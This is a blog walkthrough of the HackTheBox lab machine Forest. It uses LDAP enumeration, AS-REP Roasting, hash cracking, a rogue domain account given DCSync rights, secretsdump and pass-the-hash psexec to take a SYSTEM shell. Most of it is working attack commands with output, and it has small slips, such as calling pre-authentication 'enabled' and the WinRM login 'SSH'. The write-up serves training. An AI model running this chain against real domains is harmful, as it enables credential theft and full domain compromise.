AS-REP Roasting and Forest.HTB

I wanted to get my hands back on HTB after reading the research paper on AD CS attack posted in my previous blogs. So today I decided to pick another Windows machine from the list. For the past few weeks, I’ve been trying to learn more about Windows Security. This blog post is a write-up for forest.htb. We are going to explore some new skills such as AS-REPRoasting and DCSync Attack.

Let’s lay some groundwork before we start attacking the machine.

How does the Kerberos Authentication Protocol Works?

Kerberos Authentication is currently the most popular authorization mechanism used within industries. There have been many improvements since its initial release in Windows Server 2000. The core idea of KAP is that the client requests the Ticket Granting Ticket (TGT) from the Authentication Server using a valid set of credentials. Following that, the Authentication Server or Key Distribution Center (KDC) verifies the credentials and returns the TGT along with the Session Key. Now, the client will store this TGT and request it again before it expires.

The next step is that the client sends this TGT with the Service Principal Name (SPN) that the client wants to access (e.g., mstsc.exe – RDP). The Key Distribution Center verifies the Session Key along with the Service Principal Name (SPN) and performs checks to determine if the received session key is allowed to have RDP access or not. Finally, the KDC forwards the Session Key and service access to the client. With the received Session Key, the client will request the service from the server. The service will verify the Session Key and SPN and grant access to the client. The following diagram should help clarify things a bit.

.

Authentication Service (AS) Response Message (REP) Roasting

Since we now know that the Kerberos Authentication Protocol works with tickets to grant access to the client, it’s important to note that in some cases, there will be users who don’t have the Kerberos Pre-Authentication Attribute Enabled (DONT_REQ_PREAutH). This means that anyone can send a KRB_AS_REQ request to the DC on behalf of any of those users and receive the KRB_AS_REP from the KDC.

In a real-world scenario, not all applications will support Kerberos pre-authentication, making it common to find users in the DC for whom Kerberos Pre-Authentication is disabled. This allows attackers to request TGTs for these users and crack their session key offline using tools like John or hashcat. This is known as AS-REPRoasting.

Now that we have a full understanding of how AS-REP Roasting attacks work, let’s return to our machine Forest.htb. We’re going to perform an nmap scan on our target to determine the open ports and services.

# nmap -p- --min-rate=1000 -Pn -T4 -sC -sV 10.10.10.161
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-28 23:19 EDT
Nmap scan report for 10.10.10.161
Host is up (0.018s latency).
Not shown: 65503 closed tcp ports (reset)
PORT      STATE    SERVICE      VERSION
53/tcp    open     domain       Simple DNS Plus
88/tcp    open     kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-29 03:27:46Z)
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open     0            Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5985/tcp  open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8613/tcp  filtered canon-bjnp3
9389/tcp  open     mc-nmf       .NET Message Framing
20097/tcp filtered unknown
34289/tcp filtered unknown
37970/tcp filtered unknown
44990/tcp filtered unknown
47001/tcp open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
48075/tcp filtered unknown
49664/tcp open     msrpc        Microsoft Windows RPC
49665/tcp open     msrpc        Microsoft Windows RPC
49666/tcp open     msrpc        Microsoft Windows RPC
49667/tcp open     msrpc        Microsoft Windows RPC
49671/tcp open     msrpc        Microsoft Windows RPC
49676/tcp open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open     msrpc        Microsoft Windows RPC
49684/tcp open     msrpc        Microsoft Windows RPC
49706/tcp open     msrpc        Microsoft Windows RPC
58043/tcp filtered unknown
62696/tcp filtered unknown
65360/tcp filtered unknown
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-09-28T20:28:36-07:00
|_clock-skew: mean: 2h26m51s, deviation: 4h02m30s, median: 6m50s
| smb2-time: 
|   date: 2023-09-29T03:28:39
|_  start_date: 2023-09-29T03:25:46
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.19 seconds

This is a Windows machine, and if you examine the nmap results, you’ll notice that port 389 is open for LDAP, indicating the domain as htb.local. Additionally, it appears that our SMB ports are open as well. Let’s investigate them to see if we can discover anything of interest. Before delving into SMB, I attempted to access the IP in a web browser to check for the presence of a web portal, but I was unsuccessful. I tried accessing http://10.10.10.161:49676/, but it didn’t return any content.

# smbclient -L \\\\10.10.10.161\\      
Password for [WORKGROUP\root]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

It appears that there are no active workgroup or default shares enabled on this Windows machine. At this stage, I decided to investigate further into port 88, which is associated with Kerberos security. Using the following nmap command, I discovered that the user “administrator” with the Kerberos principal administrator@htb.local was present on our target.

# nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="htb.local" 10.10.10.161
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-28 23:39 EDT
Nmap scan report for 10.10.10.161
Host is up (0.019s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|_    administrator@htb.local

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

We could consider performing AS-REP Roasting to obtain password hashes; however, this would necessitate brute-forcing the username:password combinations using Impacket, which I am currently avoiding. Instead, let’s proceed with our examination of port 389 LDAP. I employed the following nmap command to perform enumeration on port 389 LDAP.

ldapsearch -x -b "dc=htb,dc=local" -H ldap://10.10.10.161
# extended LDIF
#
# LDAPv3
# base <dc=htb,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# htb.local
dn: DC=htb,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=htb,DC=local
instanceType: 5
whenCreated: 20190918174549.0Z
whenChanged: 20230929032536.0Z
subRefs: DC=ForestDnsZones,DC=htb,DC=local
subRefs: DC=DomainDnsZones,DC=htb,DC=local
subRefs: CN=Configuration,DC=htb,DC=local
<<Output was trimmed because it was too long but most things from the output is posted above>>

The -x switch of the command indicates anonymous authentication, while the -b flag indicates the base DN. It was possible to query the domain without credentials, indicating that Null Bind is enabled on the domain. We can proceed to query the domain further using ldapsearch. By using the following command, you will be able to enumerate all the users present on the machine.

# ldapsearch -x -b "dc=htb,dc=local" -H ldap://10.10.10.161 "objectclass=user" | grep 'userPrincipalName:' |  sed 's/^.*: //'
Exchange_Online-ApplicationAccount@htb.local
SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.loc
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@htb.loc
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@htb.loc
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB85
Migration.8f3e7716-2011-43e4-96b1-aba62d229136@htb.local
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@htb.loc
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@htb.loc
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@htb.loc
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@htb.loc
HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local
HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local
HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local
HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local
HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local
HealthMailbox6ded67848a234577a1756e072081d01f@htb.local
HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local
HealthMailboxfd87238e536e49e08738480d300e3772@htb.local
HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local
HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local
HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local
sebastien@htb.local
lucinda@htb.local
andy@htb.local
mark@htb.local
santi@htb.local

It appears that there are a bunch of users present on the system. The ‘objectclass=user’ in the command above requests user parameters. We have enumerated a couple of mailbox usernames, which strongly suggests that the Exchange Server might be installed on the server. To gain more insight, I executed another LDAP search to enumerate Common Names (CN) within the domain controller to determine if there are any service accounts present on the target machine.

# ldapsearch -x -b "dc=htb,dc=local" -H ldap://10.10.10.161 | grep 'OU=Service*' |  sed 's/^.*: //' 
OU=Service Accounts,DC=htb,DC=local
OU=Service Accounts,DC=htb,DC=local
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local

So we have identified one service account named svc-alfresco. Upon searching for ‘svc-alfresco’ on Google, I came across the following information:

“Process Services is an enterprise Business Process Management (BPM) solution targeted at business people and developers. At its core is a high-performance open-source business process engine based on Activiti with the flexibility and scalability to handle a wide variety of critical processes. Process Services provides a powerful suite of end-user tools and integrates with a range of enterprise systems, including Alfresco Content Services, Box, and Google Drive.”

Upon examining the configuration documents for Alfresco, we discovered that Authentication Services for Alfresco can be configured using Kerberos as well. Initially, I delved into Alfresco and LDAP authentication, but it didn’t yield positive results. Therefore, I opted to explore another option for Alfresco authentication using Kerberos. While reviewing the Alfresco documentation, I came across the following steps in the configuration of the Kerberos and AD setup.

“Look at step 8 in the image above, which says, ‘Select the Account tab and enable the ‘Do not require Kerberos pre-authentication’ option in the Account Options section.’

It appears that the service account created on the target machine does have pre-authentication enabled. This is a prime example of attempting an AS-REP Roasting attack. It means that we can request the encrypted TGT for this user. Since the TGT contains material encrypted with the user’s NTLM hash, we can subject it to an offline brute force attack and attempt to retrieve the password for the svc-alfresco user account.”

# impacket-GetNPUsers htb.local/svc-alfresco -dc-ip 10.10.10.161 -no-pass  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:cd0022d30121c305e44d0af480e44323$dbd75439bc99c0312cd81e2c1348871e5994b8beb41bc582dd39870ab89b3cfc226d637ece8022355e03dc1c63f2de357f25f24fd33926a079bdbfb123719ba796574efcbd4f04b7a620b59ac632a79ed043d7d53e0048cf7c4972cec129c6e33a3d20ba3e484690939a5a6cd73c08d5e718b9bace06f779b216343dbd353cc64e2e40d95a3d33d47c666664e5b30f**********************************************d40d27ca73ddced5ea42dec7ce69a95496297fa4ad9f9605b3e2e5415b53b469713ca68871594e6495e696ec716296d33760afea3969022b833d855c2a950

There you go! We got our initial TGT for the service account. Let’s crack this hash using our hashcat command.

hashcat.exe -m 18200 -a 0 service_ac_tgt rockyou.txt
hashcat (v6.2.6) starting


Host memory required for this attack: 335 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921343
* Keyspace..: 14344385

$krb5asrep$23$svc-alfresco@HTB.LOCAL:cd0022d30121c305e44d0af480e44323$dbd75439bc99c0312cd81e2c1348871e5994b8beb41bc582dd39870ab89b3cfc226d637ece8022355e03dc1c63f2de357f25f24fd33926a079bdbfb123719ba796574efcbd4f04b7a620b59ac632a79ed043d7d53e0048cf7c4972cec129c6e33a3d20ba3e484690939a5a6cd73c08d5e718b9bace06f779b216343dbd353cc64e2e40d95a3d33d47c666664e5b30fc9a2a42edd4e87bd20635abc0b79204700e7f5cb3c36b501ad40d27ca73ddced5ea42dec7ce69a95496297fa4ad9f9605b3e2e5415b53b469713ca68871594e6495e696ec716296d33760afea3969022b833d855c2a950:s*******e

We successfully cracked the NTLM hash obtained via the impacket-GetNPUsers. The password for the service account is s3rvice. During the initial nmap scan, we observed that the port 5985/tcp is open for Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP). we will try to see if this service account is allowed to login remotely over WinRM using Evil-WinRM.

# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice         
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                           
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                             
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami

htb\svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir


    Directory: C:\Users\svc-alfresco\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/30/2023   8:43 AM             34 user.txt

“We gained SSH access using the service accounts on our target machine. Here, we demonstrate how you can identify open ports and enumerate users using LDAP on a target Windows machine. Following that, identify the user for whom Kerberos pre-authentication is disabled and obtain the TGT for that user. If you’re lucky enough, you’ll be able to crack the password offline using hashcat or John. So now we have our initial access to the target. Let’s proceed from this point. I won’t post anything that results in an unsuccessful attempt to obtain the user or root flag. However, I did try exploring folders, shares, running processes, and enumerating the target through the service account. I encourage you to do the same to become more familiar with the target. While exploring the Desktop directory, I obtained the user flag.

Next, we’re going to use the ‘net group /domain’ command from this account to list the domain groups. We’ve got a bunch of groups there.”

net group /domain

Group Accounts for \\

-------------------------------------------------------------------------------
*$D31000-NSEL5BRJ63V7
*Cloneable Domain Controllers
*Compliance Management
*Delegated Setup
*Discovery Management
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions
*ExchangeLegacyInterop
*Group Policy Creator Owners
*Help Desk
*Hygiene Management
*Key Admins
*Managed Availability Servers
*Organization Management
*Privileged IT Accounts
*Protected Users
*Public Folder Management
*Read-only Domain Controllers
*Recipient Management
*Records Management
*Schema Admins
*Security Administrator
*Security Reader
*Server Management
*Service Accounts
*test
*UM Management
*View-Only Organization Management
The command completed with one or more errors.

I’m selecting ‘Domain Admins’ to create a new user from the current svc-alfresco user account session. The following four commands will create a new user for you. However, when I attempted to add it to ‘Domain Admins,’ I received a permission denied error. So, I tried a couple of other groups, and I was able to add the new user, ‘forest1,’ to the ‘Exchange Windows Permissions’ group. Let’s confirm that our user has been added to the ‘Exchange Windows Permissions’ group.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user forest1 asdf123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Domain Admins" forest1 /add
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

Access is denied.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" forest1 /add
The command completed successfully.

“To grant DCSync privileges to our new user, ‘forest1,’ we’ll need to use PowerView.ps1. I encountered some difficulty when trying to install the PowerSploit Module on the target machine. Here’s a piece of advice worth two cents: locate the PowerShell Module path using the command “$ENV:PSModulePath,” download the PowerSploit.zip file, and upload it to the target machine. Afterward, set the -ExecutionPolicy to ‘Bypass.’ Here are my steps:”

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Env:PSModulePath
C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

Upload and Extract the PowerSploit zip file to the target machine using the following command

//uploading it on the Module path
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules>upload PowerSploit.zip
//extracting it in module path
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules>powershell.exe -command "& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('PowerSploit.zip','.'); }"

Now Import the powersploit module.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules>powershell.exe -ExecutionPolicy Bypass
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules>Import-Module ./PowerSploit.psd1

In case the Add-DomainObjectAcl command that I will use shortly doesn’t work in the next step then switch to ‘Recon’ directory and import the PowerView.ps1 from there manually.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules\Recon>powershell.exe -ExecutionPolicy Bypass
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents\WindowsPowerShell\Modules\Recon>Import-Module ./PowerView.ps1

Now finally we’re going to use the following command to assign the DCSync right to our Forest1 user account using the following command.

$password = ConvertTo-SecureString 'asdf123' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('HTB\forest1', $password)

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity forest1 -Rights DCSync

On attacking machine, run the following command to get the NTLM hash for the administrator user account.

# impacket-secretsdump htb.local/forest1@10.10.10.161 -just-dc-user Administrator -just-dc-ntlm
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eea*********51404ee:32693b*******b43d32c72a07ceea6:::
[*] Cleaning up... 

Let’s grabthe root flag using impacket-psexec command

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161 cmd.exe 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file FNxQjaBE.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service frsP on 10.10.10.161.....
[*] Starting service frsP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 61F2-A88F

 Directory of C:\Users\Administrator\Desktop

09/23/2019  02:15 PM    <DIR>          .
09/23/2019  02:15 PM    <DIR>          ..
10/03/2023  08:27 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  10,435,207,168 bytes free

C:\Users\Administrator\Desktop> type root.txt
6cc2bc**********************

C:\Users\Administrator\Desktop> 

That’s all. I enjoy learning the AS-REP Roasting attack and of course DCSync Rights to the newly created user account on the target machine.